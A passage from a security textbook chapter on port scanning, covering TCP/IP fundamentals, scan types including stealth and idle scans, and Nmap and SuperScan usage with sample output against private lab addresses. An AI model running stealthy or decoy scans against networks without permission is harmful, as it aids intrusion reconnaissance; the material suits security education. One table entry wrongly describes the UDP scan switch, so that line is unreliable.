Programs that perform ping sweeps typically sweep through a range of
devices to determine which ones are active. Angry IP Scanner is an example
of one of the programs that can scan ranges of IP addresses. After you open
the program, you will want to first configure the type of scan. Figure 4-1 shows
the configurable options.
After configuring Angry IP Scanner, click the Start button to start the scan.
Figure 4-2 shows a completed scan.
Some other programs that will perform ping sweeps include the following:
Friendly Pinger — www.shareup.com/Friendly Pinger-download5295.html
WS Ping ProPack — www.ipswitch.com/products/ws ping/index.asp
Pinger — http://packetstormsecurity.org/groups/rhino9
SuperScan — www.snapfiles.com/get/superscan.html
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Figure 4-2 Angry IP Scanner completed scan.
Ping does have a couple of drawbacks. First, it only identifies that a particular
system is active on the network. Ping does not identify which services are
running. Second, many network administrators have now blocked ping and
no longer allow it to pass the border (gateway) device. Finally, if ping is used
from the command line, only one system at a time is pinged. Although ping
may offer only limited information, there is still one other method that is
considered the most reliable, and that is port scanning.
IN THE LAB
The risks of attack grow once an attacker can identify an active system. As a
security professional, your job is to balance access with the need to disable
unneeded services and applications.
You can mitigate these risks by disabling services and by observing what an
attacker can detect as open on any specific system. One way to get a good idea
as to what is open on each of your systems is to check out Shields Up. This
website can give you a report about services and applications.
In your lab, you will want to make sure that you have an active Internet
connection. Next, go to www.grc.com/x/ne.dll?bh0bkyd2, the home of
Shields Up. You will be prompted to proceed at this point to see what the
Port Scanning
Shields Up program can detect as open on your local machine. This examination
can be completed on any of your active systems. Although the system I was
using came back with no open services, the program was still able to pick up
my IP and the provider. That information is shown here: Your Internet
connection’s IP address is adsl-72-153-149-120.dsl.hstntx.swbell.net.
Port Scanning
Port scanning is the process of connecting to TCP and UDP ports for the
purpose of finding which services and applications are open on the target
device. Once open applications or services are discovered, an attacker can
determine the best method to target the identified system. Before we get too
far into the discussion of port scanning, let’s spend some time reviewing some
of the basics of TCP/IP.
TCP/IP Basics
Some of the protocols that make up the TCP/IP protocol stack include
Internet Protocol (IP), Transmission Control Protocol (TCP), User Datagram
Protocol (UDP), and the Internet Control Message Protocol (ICMP). These
protocols are essential components that must be supported by every device that
communicates on a TCP/IP network. Each serves a distinct purpose. Figure 4-3
shows these protocols and others that make up the TCP/IP protocol stack.
TCP/IP is the foundation the Internet. In many ways, you can say that
TCP/IP has grown up along with the development of the Internet. Its history
can be traced back to standards adopted by the U.S. Department of Defense in
1982. Originally, the TCP/IP model was developed as a flexible, fault-tolerant
set of protocols that were robust enough to avoid failure should one or more
nodes go down. The designers of this original network never envisioned the
Internet we use today. Because TCP/IP was designed to work in a trusted environment, many of the early TCP/IP protocols are now considered unsecure. As
an example, Telnet is designed to mask the password on a user’s screen because
the designers didn’t want shoulder surfers stealing passwords; however, the
passwords are sent in clear text on the wire because little thought was ever
given to the fact that an untrusted party may have access to the wire and be
able to sniff the clear text password. Currently, most networks run TCP/IPv4,
but the move is on to migrate to TCP/IPv6. Many security mechanisms in
TCP/IPv4 are add-ons to the original protocol suite, such as IPSec.
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TCP/IP Protocols
FTP
SMTP Telnet HTTP
DNS
TCP/IP Layers
SNMP
TFTP
BootP
UDP
Connectionless-oriented
TCP
Connection-oriented
Process layer
Host-to-host
layer
IP
ICMP
ARP
RARP
EGP
LAN/WAN
Ethernet, token ring, ATM, frame relay, etc.
OSPF
Internet layer
Network
access layer
Figure 4-3 TCP/IP protocol stack.
N O T E One good way to learn more about the TCP/IP protocols is to watch their
operation with a protocol analyzer (sniffer). Lots of free packet sniffers are
available. Consider evaluating Packetyzer for Windows or Wireshark for Linux.
There are also many commercial sniffing tools such as Sniffer by Network General.
These tools can help you learn more about encapsulation and packet structure.
Let’s take a look at each of the four layers of TCP/IP and discuss some of
the security concerns associated with each layer and specific protocols. The
four layers of TCP/IP are listed here:
The network access layer
The Internet layer
The host-to-host layer
The application (process) layer
The Network Access Layer
The network access layer is at the bottom of the TCP/IP protocol stack. This
portion of the TCP/IP network model is responsible for physical delivery of
IP packets via frames. Ethernet is the most commonly used LAN frame type.
Ethernet frames are addressed with MAC addresses, which identify the source
and destination device. MAC addresses are six bytes long and are unique to
the network interface card (NIC) in which they are burned. To get a better idea
of what MAC addresses look like, take a minute to review Figure 4-4; it shows
a packet with both the destination and source MAC addresses highlighted.
Port Scanning
Figure 4-4 Ethernet frames and MAC addresses.
MAC addresses can be either unicast, multicast, or broadcast. Although
a destination MAC address can be any one of these three types, a frame
will always originate from a unicast MAC address. A unicast MAC address
can be identified because the first byte is always an even numeric value.
Multicast MAC addresses can be identified as the low-order bit in the first
byte is always on, so multicast MAC address are odd values. Broadcast MAC
addresses can be identified because they are all binary 1s or will appear in
hex as FF FF FF FF FF FF. Therefore, if we return to Figure 4-4, notice that
the first six bytes list the target address as FF FF FF FF FF FF. This means
that the date is addressed to the broadcast address. Notice the second six
bytes are addressed to 00 00 94 C6 0C 4F. This hex value denotes the source
address. Because the first three bytes specify the vendor and are known as the
Organizational Unique Identifier (OUI), we can query a database to determine
who manufactured the NIC or device. You can research this information
at http://standards.ieee.org/regauth/oui/index.shtml. The results of the
search are shown here:
00-00-94
000094
(hex)
(base 16)
ASANTE TECHNOLOGIES
ASANTE TECHNOLOGIES
821 FOX LANE
SAN JOSE CA 95131
UNITED STATES
The Internet Layer
This layer contains two important protocols: IP and ICMP. First in our
discussion is IP. IP is a routable protocol whose job is to make a best effort at
delivery. Spend a few minutes reviewing it to better understand each field’s
purpose and structure. You can find complete details in RFC 791. Although
reviewing the structure of UDP, TCP, and IP packets may not be the most
exciting part of security work, a basic understanding is desirable because so
many attacks are based on manipulation of the packets. For example, the total
length field and fragmentation is tweaked in a ping-of-death attack.
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N O T E Although mostly ineffective now, the ping-of-death attack made
headlines in 1996 and 1997. This early denial-of-service (DoS) attack offers
security professionals a look at the battle that still continues today. Basically,
attackers try to find ways to break protocols. With the ping-of-death attack, this
was accomplished by sending a ping that is larger than the maximum size of
65,535 bytes. The solution to this DoS attack was to patch systems so that they
correctly understood how to recognize such packets and discard them. This
cat-and-mouse game continues.
IP addresses are laid out in a dotted-decimal notation format. IPv4 lays out
addresses into a four-decimal number format. Each of these decimal numbers
is 1 byte in length to allow numbers to range from 0 to 255. Table 4-2 shows
IPv4 addresses and the number of available networks and hosts. Do you
remember basic IP addressing? If not, 3Com has a good white paper on it at
http://www.3com.com/other/pdfs/infra/corpinfo/en US/501302.pdf.
In addition, a number of addresses have been reserved for private use. These
addresses are nonroutable and normally should not be seen on the Internet.
Table 4-3 defines the private address ranges.
IP does more than just addressing. It can dictate a specific path by using
source routing, and IP is also responsible for datagram fragmentation. Source
routing was designed to enable individuals to specify the route that a packet
should take through a network. It allows the user to bypass network problems
or congestion. IP’s source routing informs routers not to use their normal
routes for delivery of the packet but to send it via the router identified in the
packet’s header. This lets a hacker use another system’s IP address and get
packets returned to him regardless of which routes are between him and the
destination.
If IP must send a datagram that is larger than allowed by the network
access layer that it uses, the datagram must be divided into smaller fragments.
Not all network topologies can handle the same datagram size; therefore,
fragmentation is an important function. As IP packets pass through routers, IP
Table 4-2 IPv4 Addressing
ADDRESS CLASS
RANGE
NETWORKS
HOSTS
A
1–126
126
16,777,214
B
128–191
16,384
65,534
C
192–223
2,097,152
254
D
224–239
Multicast addresses
Multicast addresses
E
240–255
Experimental
Experimental
Port Scanning
Table 4-3 Private Address Ranges
CLASS
ADDRESS RANGE
DEFAULT SUBNET MASK
A
10.0.0.0– 10.255.255.255
255.0.0.0
B
172.16.0.0.– 172.31.255.255
255.255.0.0
C
192.168.0.0– 192.168.255.255
255.255.255.0
reads the acceptable size for the network access layer. If the existing datagram
is too large, IP performs fragmentation and divides the datagram into two or
more packets. Each packet is labeled with a length, offset, and a more bit. The
length specifies the total length of the fragment, the offset specifies the distance
from the first byte of the original datagram, and the more bit is used to indicate
if the fragment has more to follow or if it is the last in the series of fragments.
A good example of the overlapping fragmentation attack is the teardrop
attack. This somewhat dated attack exploits overlapping IP fragment and can
crash Windows 95, Windows NT, and Windows 3.1 machines. If you are not
completely comfortable with these concepts, you may want to review a general
TCP/IP network book. One good choice is TCP/IP Illustrated, Volume 1: The
Protocols by W. Richard Stevens (ISBN: 0201633469, Addison-Wesley, 1994).
One of the other protocols residing at the Internet layer is ICMP. It was
discussed briefly in a previous section of this chapter. To expand on that here,
ICMP messages follow a basic format in that the first byte of an ICMP header
indicates the type of ICMP message, as shown in Table 4-1.
One final protocol worth discussing at this point is Address Resolution
Protocol (ARP). ARP resides between the IP and network access layer. ARP’s
role in the world of networking is to resolve known IP addresses to unknown
MAC addresses. ARP’s two-step resolution process is performed by first
sending a broadcast message requesting the target’s physical address. If a
device recognizes the address as its own, it issues an ARP reply containing
its MAC address to the original sender. The MAC address is then placed
in the ARP cache and used to address subsequent frames. You can take a look
at the ARP cache on your system by entering ARP–a from the command line
of your computer. Of course, take a look at the one displayed here, too:
C:\>arp -a
Interface: 192.168.123.183 on Interface 0x1000005
Internet Address
Physical Address
Type
192.168.123.20
00-15-e9-dd-85-06
dynamic
192.168.123.150
00-16-01-8a-0a-fc
dynamic
192.168.123.184
00-09-5b-1f-25-03
dynamic
192.168.123.254
00-00-94-c6-0c-4f
dynamic
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When misused, ARP can be used to bypass the functionality of a switch.
ARP was developed long ago when the Internet was a much more trusting
networking world. Bogus ARP responses are accepted as valid, which can
allow attackers to redirect traffic on a switched network. Proxy ARPs can be
used to extend a network and allow one device to communicate with a device
on an adjunct node. ARP attacks play a role in a variety of man-in-the middle
attacks, spoofing, and session-hijack attacks.
The Host-to-Host Layer
The host-to-host layer provides end-to-end delivery. There are two primary
protocols located at the host-to-host layer: TCP and UDP.
Transmission Control Protocol
TCP enables two hosts to establish a connection and exchange data reliably.
TCP does this by performing a three-step handshake before data is sent.
During the data-transmission process, TCP guarantees delivery of data by
using sequence and acknowledgment numbers. At the completion of the
data-transmission process, TCP performs a four-step shutdown that gracefully
concludes the session. Figure 4-5 shows the startup and shutdown sequence.
TCP has a fixed packet structure that is used to provide flow control,
maintain reliable communication, and ensure any missing data is re-sent. At
the heart of TCP is a 1-byte flag field. Flags help control the TCP process.
Common flags include synchronize (SYN), acknowledgment (ACK), push
(PSH), and finish (FIN). Figure 4-6 details the TCP flag structure. TCP security
issues include TCP sequence number attacks, session hijacking, and SYN flood
attacks. Programs such as Nmap manipulate TCP flags to attempt to identify
active hosts.
SYN
Three-step
start up
SYN ACK
ACK
DATA COMMUNICATION
ACK FIN
ACK
Four-step
shut down
ACK FIN
ACK
Figure 4-5 TCP operation.
Port Scanning
Reserved Urgent ACK Push Reset SYN
FIN
1-byte field
Figure 4-6 TCP flag structure.
Flags are used to manage TCP sessions; for example, the SYN and ACK flags
are used in the three-way handshaking, and the RST and FIN flags are used
to tear down a connection. FIN is used during a normal four-step shutdown,
where as RST is used to signal the end of an abnormal session. The check sum
is used to ensure that the data is correct, although an attacker can alter a TCP
packet and the check sum to make it appear to be valid.
User Datagram Protocol
UDP performs none of the handshaking processes that we see performed with
TCP. Although that makes it considerably less reliable than TCP, it does offer
the benefit of speed. It is ideally suited for data that requires fast delivery
and is not sensitive to packet loss. UDP is used by services such as DHCP
and DNS. UDP is easier than TCP to spoof by attackers because it does not use
sequence and acknowledgment numbers.
The Application Layer
The application layer is at the top of the TCP/IP protocol stack. This layer is
responsible for application support. Applications are typically mapped not by
name but by their corresponding port. Ports are placed into TCP and UDP packets so that the correct application can be passed to the required protocols below.
Although a particular service may have an assigned port, there is nothing
that specifies that services cannot listen on another port. A common example
of this is SMTP (Simple Mail Transfer Protocol). The assigned port of this is
25. Your cable company may block port 25 in an attempt to keep you from
running a mail server on your local computer, but there is nothing to prevent
you from running your mail server on another local port. The primary reason
services have assigned ports is so that a client can easily find that service on a
remote host. As an example, FTP servers listen at port 21 and HTTP (Hypertext
Transfer Protocol) servers listen at port 80. Client applications such as an FTP
(File Transfer Protocol) program or a browser use randomly assigned ports,
typically greater than 1023. There are 65,535 TCP and UDP ports. These ports
are divided into three categories, which include well-known ports (0–1023),
registered ports (1024–49151), and dynamic ports (49152–65535). Although
there are hundreds of ports and corresponding applications in practice, only a
few hundred are in common use. Table 4-4 shows some of the most common.
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Table 4-4 Common Ports
PORT
SERVICE
PROTOCOL
20/21
FTP
TCP
22
SSH
TCP
23
Telnet
TCP
25
SMTP
TCP
53
DNS
TCP/UDP
67/68
DHCP
UDP
69
TFTP
UDP
80
HTTP
TCP
88
Kerberos
UDP
110
POP3
TCP
111
SUNRPC
TCP/UDP
135
RPC
TCP/UDP
139
NetBIOS Session
TCP/UDP
161/162
SNMP
UDP
389
LDAP
TCP
443
SSL
TCP
445
SMB over IP
TCP/UDP
1433
MS-SQL
TCP
If you’re wondering which ports should be open and available on your
network, the answer is only the ones that are needed. That is called the
principle of least privilege. The principle of least privilege means that you give
an entity just the least amount of access necessary to perform its job and
nothing more. If a port is not being used, it should be closed. Just remember
that security is a never-ending process; you will want to periodically test
for open ports. Not all applications are created equal. Although some, such
as Secure Shell (SSH), are relatively secure, others, such as Telnet, are not.
The following list discusses the operation and security issues of some of the
common applications:
File Transfer Protocol (FTP) — FTP is a TCP service and operates on
ports 20 and 21. This application is used to move files from one computer to another. Port 20 is used for the data stream and transfers the
Port Scanning
data between the client and the server. Port 21 is the control stream and
is used to pass commands between the client and the FTP server. Attacks
on FTP target misconfigured directory permissions and compromised
or sniffed clear text passwords. FTP is one of the most commonly hacked
services.
Telnet — Telnet is a TCP service that operates on port 23. Telnet enables
a client at one site to establish a session with a host at another site. The
program passes the information typed at the client’s keyboard to the host
computer system. Although Telnet can be configured to allow anonymous connections, it should be configured to require usernames and
passwords. Unfortunately, even then, Telnet sends them in clear text.
When a user is logged in, he or she can perform any allowed task. Applications such as SSH should be considered as a replacement.
Simple Mail Transfer Protocol (SMTP) — This application is a TCP service that operates on port 25. It is designed for the exchange of electronic
mail between networked systems. Messages sent through SMTP have
two parts: an address header and the message text. All types of computers can exchange messages with SMTP. Spoofing and spamming are two
of the vulnerabilities associated with SMTP.
Domain Name Service (DNS) — This application operates on port 53
and performs address translation. Although we may not realize the role
DNS plays, it serves a critical function in that it converts fully qualified
domain names (FQDNs) into a numeric IP address or IP addresses into
FQDNs. If someone was to bring down DNS, the Internet would continue to function, but it would require that Internet users know the IP
address of every site they want to visit. For all practical purposes, the
Internet would not be usable without DNS. The DNS database consists of one or more zone files. Each zone is a collection of structured
resource records. Common record types include the Start of Authority
(SOA) record, A record, CNAME record, NS record, PTR record, and
MX record. There is only one SOA record in each zone database file.
It describes the zone name space. The A record is the most common as it
contains IP addresses and names of specific hosts. The CNAME record is
an alias. For example, the outlaw William H. Bonney went by the alias of
Billy the Kid. The NS record lists the IP addresses of other name servers.
An MX record is a mail exchange record. This record has the IP address
of the server where email should be delivered. Hackers can target DNS
types of attacks. One such attack is DNS cache poisoning. This type of
attack sends fake entries to a DNS server to corrupt the information
stored there. DNS can also be susceptible to denial-of-service attacks and
to unauthorized zone transfers. DNS uses UDP for DNS queries and TCP
for zone transfers.
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Trivial File Transfer Protocol (TFTP) — TFTP operates on port 69.
It is considered a connectionless version of FTP because it uses UDP to
cut down on overhead. It not only does so without the session management offered by TCP, but it also requires no authentication, which could
pose a big security risk. It is used to transfer router configuration files,
and by cable companies to configure cable modems. TFTP is a favorite
of hackers and has been used by programs such as the Nimda worm to
move data without having to use input usernames or passwords.
Hypertext Transfer Protocol (HTTP) — HTTP is a TCP service that
operates on port 80. This application is one of the most well known.
HTTP has helped make the Web the popular protocol it is today. The
HTTP connection model is known as a stateless connection. HTTP uses
a request response protocol in which a client sends a request, and a
server sends a response. Attacks that exploit HTTP can target the server,
browser, or scripts that run on the browser. Code Red is an example of
code that targeted a web server.
Simple Network Management Protocol (SNMP) — SNMP is a UDP
service and operates on ports 161 and 162. It was envisioned as an efficient and inexpensive way to monitor networks. The SNMP protocol
allows agents to gather information, including network statistics, and
report back to their management stations. Most large corporations have
implemented some type of SNMP management. Some of the security
problems that plague SNMP are caused by the fact that community
strings can be passed as clear text and that the default community strings
(public/private) are well known. SNMP version 3 is the most current
and it offers encryption for more robust security.
As you have probably noticed, some of these applications run on TCP,
whereas others run on UDP. Although it is certainly possible to scan for all
65,535 TCP and 65,535 UDP ports, attackers typically concentrate on the first
1024 well-known ports. Now, this is not to say that high-order ports should
be totally ignored; after all, hackers may break into a system and open a
high-order port such as 31337 to use as a backdoor.
TCP and UDP Port Scanning
With some background now covered on TCP/IP, we can move forward
on to our discussion of TCP and UDP port scanning. Remember that
TCP offers robust communication and is considered a connection protocol. TCP establishes a connection by using what is called a three-way handshake.
Port Scanning
The TCP header contains a 1-byte field for the flags. These flags include the
following:
ACK — The receiver will send an ACK to acknowledge data.
SYN — Used during the three-step session setup to inform the other
party to begin communication and used to agree on initial sequence
numbers.
FIN — Used during a normal shutdown to inform the other host that the
sender has no more data to send.
RST — Used to abort an abnormal session.
PSH — Used to force data delivery without waiting for buffers
to fill.
URG — Used to indicate priority data.
At the conclusion of communication, TCP terminates the session by using
what is called a four-step shutdown. TCP was designed in such a way to
provide for robust communication. From a scanning standpoint, this means
that TCP has the capability to return many different types of responses to
a scanning program. By manipulating these features, an attacker can craft
packets in an attempt to coax a server to respond or to try and avoid detection
of an intrusion detection system (IDS). Many of these methods are built in
to popular port-scanning tools. Before we look specifically at the tools, let’s
discuss some of the most popular port-scanning techniques (see Table 4-5).
Ever notice how some chefs take liberties when preparing a special dish? OS
manufacturers work in much the same way, as they may take some liberties
when applying the TCP/IP RFCs and do things their own way. Because of
this, not all scan types will work against all systems. It’s a good approach to
start with basic scan types like the full connect scan and SYN scans first. We’ll
turn our attention now to UDP scans.
UDP is somewhat unlike TCP. While TCP is built upon robust connections,
UDP is based on speed. With TCP, the hacker has the capability to manipulate
flags in an attempt to generate a TCP response or an error message from
ICMP. By default, UDP does not have flags, nor does UDP issue responses.
It’s a fire-and-forget protocol. By default, a UDP packet sends no response
to an open port. If the port is closed, ICMP attempts to send and ICMP
Type3 Code 3 Port Unreachable message to the source of the UDP scan. But
if the network is blocking ICMP, no error message is returned. Therefore, the
response to our scans may simply be no response. If you are planning on
doing UDP scans, plan for much less information than you may receive with a
TCP scan.
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Table 4-5 Common Scan Types
SCAN NAME
DETAILS
TCP Full Connect
scan
This type of scan is the most reliable but also the most
detectable. It is easily logged and detected because a full
connection is established. Open ports reply with a SYN/ACK;
closed ports respond with a RST/ACK.
TCP SYN scan
This type of scan is known as half-open, because a full TCP
connection is not established. This type of scan was originally
developed to be stealthy and evade IDS systems, although
most now detect it. Open ports reply with a SYN/ACK; closed
ports respond with a RST/ACK.
TCP FIN scan
Forget trying to set up a connection; this technique jumps
straight to the shutdown. This type of scan sends a FIN packet
to the target port. Closed ports should send back an RST. This
technique is usually effective only on Unix devices.
TCP NULL scan
Sure, there should be some type of flag in the packet, but a
NULL scan sends a packet with no flags set. If the OS has
implemented TCP per RFC 793, closed ports will return an RST.
TCP ACK scan
This scan attempts to determine access control list (ACL) rule
sets or identify whether stateless inspection is being used. If an
ICMP Destination Unreachable, Communication Administrative
Prohibited message is returned, the port is considered to be
filtered.
TCP XMAS scan
Sorry, no Christmas presents here; just a port scan that has
toggled on the FIN, URG, and PSH flags. Closed ports should
return an RST.
IS PORT SCANNING LEGAL?
The legality of port scanning has been challenged in federal court. One such
case dates back to the year 2000 in which a dispute between two contractors
ended up in U.S. district court because of a dispute of the legality of port
scanning. The plaintiff believed that port scanning is a crime, whereas the
defendant believed that only by port scanning was he able to determine which
ports were open and closed on the span of network he was responsible for. The
U.S. district court judge ruled that port scanning was not illegal as long as it
does not cause damage.
Does this mean you are free to scan at will any and all networks? Personally,
I would say no! Although port scanning is not a crime, you should still seek to
obtain permission before scanning a network. Also, home users should review
their service provider’s terms and conditions before port scanning. Most cable
Internet and DSL provider companies prohibit port scanning and maintain the
Port Scanning
right to disconnect customers who perform such acts even when they are
performing such activities with permission. Time Warner’s policy states the
following: ‘‘Please be aware that Time Warner Road Runner has received
indications of port scanning from a machine connected to the cable modem on
your Road Runner internet connection. This violates the Road Runner AUP
(Acceptable Use Policy). Please be aware that further violations of the
Acceptable Usage Policy may result in the suspension or termination of your
Time Warner Road Runner account.’’
There are some other more advanced scan types. That will be our next topic
of discussion.
Advanced Port-Scanning Techniques
Port-scanning tools are like the tools of any other trade. As an example,
consider working on you car at home. You may pull out a hammer, pliers,
screwdriver, and even some duct tape to try to fix a problem. If you compare
that to a dealership that has a crew of trained mechanics, you will see that
they have many tools and specialized devices to fix problems. Advanced
port-scanning tools work in much the same way. Whereas today, as you
initially work your way through the book, you may not need these tools, as
your proficiency increases you will want to try out these techniques. Some
advanced scan types include the following:
FTP bounce scan — Uses an FTP server to bounce packets off of and
make the scan harder to trace
RPC scan — Attempts to determine whether open ports are RPC ports
Window scan — Similar to an ACK scan but can sometimes determine
open ports
Idle scan — Uses an idle host to bounce packets off of and make the scan
harder to trace
Let’s look at the idle scan in more detail to see how one of the advanced
methods actually works.
Idle Scan
Earlier in the chapter, I discussed the IP header. Remember that the IP header
is responsible for fragmentation. During the fragmentation process, one of
the ways that IP is able to reassemble the fragments is to look at the IDs of
each fragment to see whether they go together. This field of the IP header is
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actually known as the Internet Protocol identification number (IPID). Some
systems randomly create an IPID or set the value to zero; however, the majority of operating systems increment this value by one for each sent packet.
The IPID is a 16-bit value. It is used to differentiate IP packets should fragmentation occur. Without the IPID field, a receiving system would not be
able to reassemble two or more packets that had been fragmented at the
same time.
Before going through an example of idle scanning, let’s look at some basics
on how TCP connections operate. Because TCP is a reliable service, it must
perform a handshake before communication can begin. The initializing party
of the handshake sends a SYN packet to which the receiving party will return
a SYN/ACK packet if the port is open. For closed ports, the receiving party
will return an RST. The RST acts as a notice that something is wrong and
further attempts to communicate should be discontinued. RSTs are not replied
to; if they were, we might have the situation in which two systems would
flood each other with a stream of RSTs. This means that unsolicited RSTs are
ignored. By combining these characteristics with IPID behavior, a successful
idle scan is possible. Figure 4-7 shows an idle scan of an open port.
Step 1 - Idenfity IPID
Step 2 - Scan Open Port
IPID Probe
IPID Response
Attacker
IPID = 12345
Attacker
Idle Host
1st SYN
2nd SYNACK
To: Idle Host
From: Victim
IPID = 55541
Idle Host
To: Victim
From: Idle Host
Victim
Step 3 - Acquire Results
Victim
IPID Probe
IPID Response
Attacker
IPID = 12347
Victim
Figure 4-7 Idle scan of an open port.
Idle Host
3rd RST
To: Victim
From: Idle Host
IPID = 12346
Port Scanning
Step 1 - Idenfity IPID
IPID Probe
IPID Response
Attacker
Step 2 - Scan Closed Port
IPID = 12345
Victim
Idle Host
Step 3 - Acquire Results
IPID Probe
IPID Response
Attacker
Attacker
Idle Host
1st SYN
IPID = 12346
Idle Host
2nd RST
To: Idle Host
From: Victim
IPID = 55541
To: Victim
From: Idle Host
Victim
Victim
Figure 4-8 Idle scan of a closed port.
An open port idle scan works as follows: an attacker sends an ID IP probe
to the idle host to solicit a response. In Figure 4-7, we can see that the response
produces an IPID of 12345. Next, the attacker sends a spoofed packet to the
victim. This SYN packet is sent to the victim, but is addressed from the idle
host. An open port on the victim’s system will then generate a SYN/ACK as
seen in step 2, item 2. As the idle host was not the source of the initial SYN
packet and did not at any time wish to initiate communication, it responds
be sending an RST to terminate communications. This increments the IPID to
12346, as can be seen in step 2, item 3. Next, the attacker again queries the idle
host as seen in step 3 and is issued an IPID response of 12347. Because the IPID
count has now been incremented by two from the initial number of 12345, the
attacker can deduce that the scanned port on the victim’s system is open.
Now let’s turn our attention to Figure 4-8 and look at the behavior of a
closed port.
Step 1 of Figure 4-8 starts exactly the same way as previously described. An
attacker makes an initial query to determine the idle host’s IPID value. Note
that the value returned was 12345. In step 2, the attacker sends a SYN packet
addressed to the victim but spoofs it to appear that it originated from the idle
host. As the victim’s port is closed, it responds to this query by issuing an RST.
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Because RSTs don’t generate additional RSTs, the communication between the
idle host and the victim end here. Next, the attacker again probes the idle host
and examines the response. Because the victim’s port was closed, we can see
that the returned IPID was 12346. It was only incremented by one because no
communication took place after the last IPID probe that determined the initial
value.
There are limitations to the ability of an idle scan. First, the system that is
designated to play the role of the idle host must truly be idle. A chatty system
is of little use as the IPID will increment too much to be useful. There is also the
fact that not all operating systems use an incrementing IPID. As an example,
some versions of Linux set the IPID to zero or generate a random IPID value.
Again, these systems are of little use in such an attack. Finally, these results
must be measured; by this I mean that several passes need to be performed to
really validate the results and be somewhat sure that the attacker’s conclusions
are valid. In conclusion, we can see that the overall value of an IPID scan is
that it hides the attacker’s true address and is yet another example of how the
misuse of the protocols allows malicious individuals more information than
they should be privy to. Now, let’s turn our attention to some of the programs
that can be used for port scanning.
Port-Scanning Tools
With our discussion of port-scanning theory complete, let’s now turn our
attention to some of the tools used for port scanning. Examples of some
well-known port-scanning tools include the following:
Nmap — Command-line tool
SuperScan — GUI tool
THC-Amap — command-line tool
Look@LAN — GUI tool
NetScanTools — GUI tool
Nmap
Nmap was developed by Fyodor Yarochkin and is one of the most well-known
port-scanning tools. Nmap is available for Windows and Linux as a GUI and
command-line program. As of the writing of this book, the most current
version is 4.52. It can do many types of scans and OS identification. It also has
the ability to blind scan and zombie scan, and it enables you to control the
speed of the scan from slow to very fast.
N O T E What is a zombie scan? This type of scan technique uses TCP and the
techniques of the idle scan discussed earlier. The zombie scan gets its unique
name as it uses a third-party host to scan a target network. This technique allows
Port Scanning
the attacker to hide behind the third-party zombie host. By monitoring the IPID
fields of packets coming from the zombie, the attacker can determine information
about the victim host and perform a truly blind scan.
The name Nmap implies that the program was ostensibly developed as a
network mapping tool. As you can imagine, such a capability is attractive to
the people who secure networks as well as those who attack networks. Nmap
is considered on of the best port-scanning tools in part because it offers an easy
command-line interface (CLI) and has ready availability of documentation,
and because of the way in which the tool has been developed and maintained.
You can download Nmap from http://insecure.org/nmap/download.html.
To give you a better idea as to what the program looks like, I have executed
Nmap to demonstrate its basic output when no scan is performed:
C:\>nmap
Nmap V. 4.52 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types (’*’ options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sR/-I RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: ’1-1024,1080,6666,31337’
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don’t ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy host1,decoy2[,...] Hide scan using many decoys
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing
policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes
resolve]
-oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile>
-iL <inputfile> Get targets from file; Use ’-’ for stdin
* -S <your IP>/-e <devicename> Specify source address or network
interface
--interactive Go into interactive mode (then press h for help)
--win help Windows-specific features
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 ’192.88-90.*.*’
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS,
AND EXAMPLES
Although the basic output here gives an overview of the types of scans, I
have summarized this information in Table 4-6.
Nmap performs a variety of network tricks and has the ability to scan the
network as a whole. Let’s turn our attention to scanning individual hosts on
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Table 4-6 Nmap Command Switches
SCAN OPTION
NAME
NOTES
-sS
TCP SYN
Stealth scan
-sT
TCP Full
Full connect
-sF
FIN
Typically no reply from open ports
-sN
Null
No flags are set
-sX
Xmas
URG, PUSH, and FIN flags are set
-sP
Ping
Performs a ping sweep
-sU
UDP Scan
Performs a Null scan
-sA
ACK
Performs an ACK scan
the network (e.g. port scanning). Here is an example of a stealth scan against
one system:
C:\>nmap -sS 192.168.123.150
Starting nmap V. 4.52 ( www.insecure.org/nmap )
Interesting ports on JUPITER (192.168.123.150):
(The 1592 ports scanned but not shown below are in state: closed)
Port
State
Service
80/tcp
open
http
139/tcp
open
netbios-ssn
445/tcp
open
microsoft-ds
515/tcp
open
printer
548/tcp
open
afpovertcp
873/tcp
open
rsync
1025/tcp
open
NFS-or-IIS
8080/tcp
open
http-proxy
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds
Now let’s look at an example of a full connect scan against a different target:
C:\>nmap -sT 192.168.123.184
Starting nmap V. 4.52 ( www.insecure.org/nmap )
Interesting ports on Neptune (192.168.123.184):
(The 1596 ports scanned but not shown below are in state: closed)
Port
State
Service
135/tcp
open
loc-srv
139/tcp
open
netbios-ssn
445/tcp
open
microsoft-ds
1025/tcp
open
NFS-or-IIS
Port Scanning
5000/tcp
open
UPnP
Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds
Finally, let’s look at the syntax used to scan a range of IP addresses:
C:\>nmap -sS 192.168.123.100-150
Starting nmap V. 4.52 ( www.insecure.org/nmap )
Interesting ports on Titan (192.168.123.160):
(The 1592 ports scanned but not shown below are in state: closed)
Port
State
Service
80/tcp
open
http
139/tcp
open
netbios-ssn
445/tcp
open
microsoft-ds
515/tcp
open
printer
548/tcp
open
afpovertcp
873/tcp
open
rsync
1025/tcp
open
NFS-or-IIS
8080/tcp
open
http-proxy
Starting nmap V. 4.52 ( www.insecure.org/nmap )
Interesting ports on Pluto (192.168.123.180):
(The 1596 ports scanned but not shown below are in state: closed)
Port
State
Service
135/tcp
open
loc-srv
139/tcp
open
netbios-ssn
1025/tcp
open
NFS-or-IIS
5000/tcp
open
UPnP
Nmap run completed -- 51 IP addresses (2 hosts up) scanned in 12 seconds
Now let’s look at a GUI scanning program, SuperScan.
SuperScan
SuperScan is a Windows GUI-based scanner developed by Foundstone. It will
scan TCP and UDP ports and perform ping scans. It will allow you to scan
all ports, use a built-in list of defined ports, or specify the port range. For the
